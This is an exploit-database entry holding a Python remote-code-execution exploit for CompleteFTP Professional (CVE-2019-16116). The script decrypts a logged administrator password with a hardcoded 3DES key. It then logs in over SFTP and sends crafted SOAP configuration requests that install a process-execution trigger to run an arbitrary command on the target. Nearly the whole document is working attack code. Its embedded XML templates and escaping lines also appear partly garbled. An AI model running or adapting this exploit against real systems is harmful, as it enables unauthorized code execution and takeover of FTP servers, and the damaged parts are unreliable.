发布 2020-07-09 漏洞条目

CompleteFTP Professional 12.1.3 – Remote Code Execution

Exploit Source

# Exploit Title: CompleteFTP Professional < 12.1.3 - Remote Code Execution

# Date: 2020-03-11

# Exploit Author: 1F98D

# Original Author: Rhino Security Labs

# Vendor Homepage: https://enterprisedt.com/products/completeftp/

# Version: CompleteFTP Professional

# Tested on: Windows 10 (x64)

# CVE: CVE‑2019‑16116

# References:

# https://rhinosecuritylabs.com/application-security/completeftp-server-local-privesc-cve-2019-16116/

# https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2019-16116

# CompleteFTP before 12.1.3 logs an obscured administrator password to a file

# during installation (C:\Program Files (x86)\Complete FTP\Server\Bootstrapper.log)

# if CompleteFTP is configured to permit remote administration (over port 14983) it

# is possible to obtain remote code execution through the administration interface

# This script requires the following python modules are installed

# pip install paramiko pycryptodome uuid

#!/usr/local/bin/python3

from paramiko.sftp import CMD_EXTENDED

from base64 import b64encode, b64decode

from Crypto.Util.Padding import unpad

from Crypto.Cipher import DES3

import xml.etree.ElementTree as ET

import paramiko

import struct

import uuid

import sys

# region get_server_info

get_server_info = """

<SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">

<SOAP-ENV:Body>

<i2:GetServerInfo id="ref-1" xmlns:i2="Admin API">

</i2:GetServerInfo>

</SOAP-ENV:Body>

</SOAP-ENV:Envelope>

""".strip()

# endregion

# region update_config

update_config = """

<SOAP-ENV:Body>

<i2:UpdateConfig id="ref-1" xmlns:i2="Admin API">

</i2:UpdateConfig>

<a1:ConfigDataSet id="ref-4" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/EnterpriseDT.Net.FtpServer.Config/CompleteFTPManager%2C%20Version%3D8.3.3.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3D48e55b33069804ce">

<DataSet.RemotingVersion href="https://www.exploit-db.com/exploits/48657/#ref-5"/>

<XmlSchema id="ref-6">{XMLSCHEMA}</XmlSchema>

<XmlDiffGram id="ref-7">{XMLDIFFGRAM}</XmlDiffGram>

</a1:ConfigDataSet>

<a2:Version id="ref-5" xmlns:a2="http://schemas.microsoft.com/clr/ns/System">

<_Major>2</_Major>

<_Minor>0</_Minor>

<_Build>-1</_Build>

<_Revision>-1</_Revision>

</a2:Version>

</SOAP-ENV:Body>

</SOAP-ENV:Envelope>

""".strip()

# endregion

# region xml_schema

xml_schema = """

<?xml version="1.0" encoding="utf-16"?>

<xs:schema id="ConfigDataSet" targetNamespace="http://tempuri.org/ConfigDataSet.xsd" xmlns:mstns="http://tempuri.org/ConfigDataSet.xsd" xmlns="http://tempuri.org/ConfigDataSet.xsd" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:msprop="urn:schemas-microsoft-com:xml-msprop" attributeFormDefault="qualified" elementFormDefault="qualified">

<xs:element name="ConfigDataSet" msdata:IsDataSet="true" msdata:Locale="en-US" msdata:TimestampingEnabled="False">

<xs:complexType>

<xs:choice minOccurs="0" maxOccurs="unbounded">

<xs:element name="PlugIn">

<xs:complexType>

<xs:sequence>

<xs:element name="PlugInID" msdata:DataType="System.Guid, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" type="xs:string" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" />

<xs:element name="Name" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd">

<xs:simpleType>

<xs:restriction base="xs:string">

<xs:maxLength value="100" />

</xs:restriction>

</xs:simpleType>

</xs:element>

<xs:element name="ClassName" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd">

<xs:simpleType>

<xs:restriction base="xs:string">

<xs:maxLength value="400" />

</xs:restriction>

</xs:simpleType>

</xs:element>

<xs:element name="PlugInTypeID" type="xs:int" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" />

<xs:element name="Configuration" type="xs:string" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" minOccurs="0" />

<xs:element name="CreatedTime" type="xs:dateTime" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" />

<xs:element name="ModifiedTime" type="xs:dateTime" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" />

<xs:element name="UserInstance" type="xs:boolean" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" minOccurs="0" />

<xs:element name="System" type="xs:boolean" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" />

<xs:element name="EditorClassName" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" minOccurs="0">

<xs:simpleType>

<xs:restriction base="xs:string">

<xs:maxLength value="100" />

</xs:restriction>

</xs:simpleType>

</xs:element>

<xs:element name="AssemblyPath" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" minOccurs="0">

</xs:element>

<xs:element name="MinimumEdition" type="xs:int" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" minOccurs="0" />

<xs:element name="ChangeSetID" msdata:DataType="System.Guid, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" type="xs:string" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" minOccurs="0" />

</xs:sequence>

</xs:complexType>

</xs:element>

<xs:element name="Server">

<xs:complexType>

</xs:complexType>

</xs:element>

<xs:element name="SiteUser">

<xs:complexType>

</xs:complexType>

</xs:element>

<xs:element name="Site">

<xs:complexType>

</xs:complexType>

</xs:element>

<xs:element name="Node">

<xs:complexType>

</xs:complexType>

</xs:element>

<xs:element name="TrashHeap1">

<xs:complexType>

</xs:complexType>

</xs:element>

<xs:element name="TrashHeap2">

<xs:complexType>

</xs:complexType>

</xs:element>

<xs:element name="ChangeSet">

<xs:complexType>

</xs:complexType>

</xs:element>

<xs:element name="RuntimeVariable">

<xs:complexType>

</xs:complexType>

</xs:element>

</xs:choice>

</xs:complexType>

<xs:unique name="PlugIn_Constraint1" msdata:ConstraintName="Constraint1" msdata:PrimaryKey="true">

<xs:selector xpath=".//mstns:PlugIn" />

<xs:field xpath="mstns:PlugInID" />

</xs:unique>

</xs:element>

</xs:schema>

""".replace("<", "<").replace(">", ">").replace('"', """).strip()

# endregion

# region xml_diffgram

xml_diffgram = """

<diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">

<Name>Process Execution</Name>

<ClassName>EnterpriseDT.Net.FtpServer.Trigger.ProcessTrigger</ClassName>

<Configuration>{CONFIGURATION}</Configuration>

<UserInstance>false</UserInstance>

</PlugIn>

<Name>Event</Name>

</PlugInType>

</ChangeSet>

</ConfigDataSet>

<diffgr:before>

<Name>Process Execution</Name>

<ClassName>EnterpriseDT.Net.FtpServer.Trigger.ProcessTrigger</ClassName>

<UserInstance>false</UserInstance>

</PlugIn>

</diffgr:before>

</diffgr:diffgram>

""".strip()

# endregion

# region config

config = """

</ProcessConfig>

<Name>trigger</Name>

<OnError>false</OnError>

</ProcessRule>

<EventType>LogIn</EventType>

</ProcessEvent>

</TriggerDataSet>

""".strip()

# endregion

def prepare_update_config(uuid, cmd):

config_payload = config

config_payload = config_payload.replace('{CMD}', cmd)

config_payload = config_payload.replace('<', '<')

config_payload = config_payload.replace('>', '>')

diffgram_payload = xml_diffgram

diffgram_payload = diffgram_payload.replace('{CONFIGURATION}', config_payload)

diffgram_payload = diffgram_payload.replace('{ID}', uuid)

diffgram_payload = diffgram_payload.replace('&', '&')

diffgram_payload = diffgram_payload.replace('<', '<')

diffgram_payload = diffgram_payload.replace('>', '>')

diffgram_payload = diffgram_payload.replace('"', '"')

payload = update_config

payload = payload.replace('{XMLSCHEMA}', xml_schema)

payload = payload.replace('{XMLDIFFGRAM}', diffgram_payload)

return payload

def send_request(sftp, payload):

payload = b64encode(bytes(payload, 'utf-8')).decode('utf-8')

res = sftp._request(CMD_EXTENDED, 'admin@enterprisedt.com', 'SOAP64 ' + payload)

return res

def convert_changeset_id_to_uuid(changeset_id):

a = struct.pack('i', int(changeset_id[0].text)) # 32

b = struct.pack('h', int(changeset_id[1].text)) # 16

c = struct.pack('h', int(changeset_id[2].text)) # 16

d = struct.pack('B', int(changeset_id[3].text)) # 8

e = struct.pack('B', int(changeset_id[4].text)) # 8

f = struct.pack('B', int(changeset_id[5].text)) # 8

g = struct.pack('B', int(changeset_id[6].text)) # 8

h = struct.pack('B', int(changeset_id[7].text)) # 8

i = struct.pack('B', int(changeset_id[8].text)) # 8

j = struct.pack('B', int(changeset_id[9].text)) # 8

k = struct.pack('B', int(changeset_id[10].text)) # 8

x = a + b + c + d + e + f + g + h + i + j + k

return uuid.UUID(bytes_le=x)

def get_uuid(sftp):

res = send_request(sftp, get_server_info)

if res[0] != 201:

print('[!] Error could not request server info via SFTP')

sys.exit(1)

res = b64decode(res[1].get_string()).decode('utf-8')

res = ET.fromstring(res)

changeset_id = res.find('.//SyncChangeSetID')

uuid = convert_changeset_id_to_uuid(changeset_id)

return str(uuid)

def login(host, port, user, password):

ssh = paramiko.SSHClient()

ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

ssh.connect(host, port, user, password, look_for_keys=False, allow_agent=False)

return ssh.open_sftp()

def send_command(sftp, cmd):

uuid = get_uuid(sftp)

payload = prepare_update_config(uuid, cmd)

res = send_request(sftp, payload)

if res[0] != 201:

print('[!] Error could not send update config request via SFTP')

sys.exit(1)

def decrypt_password(password):

key = b64decode('HKVV76GdVuzXne/zxtWvdjA2d2Am548E')

iv = b64decode('gVGow/9uLvM=')

encrypted = b64decode(password)

cipher = DES3.new(key=key, iv=iv, mode=DES3.MODE_CBC)

decrypted = cipher.decrypt(encrypted)

return unpad(decrypted, 8).decode('utf-16')

if len(sys.argv) != 6:

print('[!] Missing arguments')

print('[ ] Usage: {} <target> <port> <username> <encrypted-password> <cmd>'.format(sys.argv[0]))

print("[ ] E.g. {} 192.168.1.128 14983 admin DEomw27OY7sYZs4XjYA2kVB4LEB5skN4 'whoami > C:\\x.txt'".format(sys.argv[0]))

相关漏洞条目

strongSwan 5.9.13 – libsimaka EAP-SIM/AKA heap buffer overflow

Wing FTP Server 8.1.3 – Authenticated Remote Code Execution

Microsoft – NTLMv2 Hash Capture

telnetd 2.7 – Buffer Overflow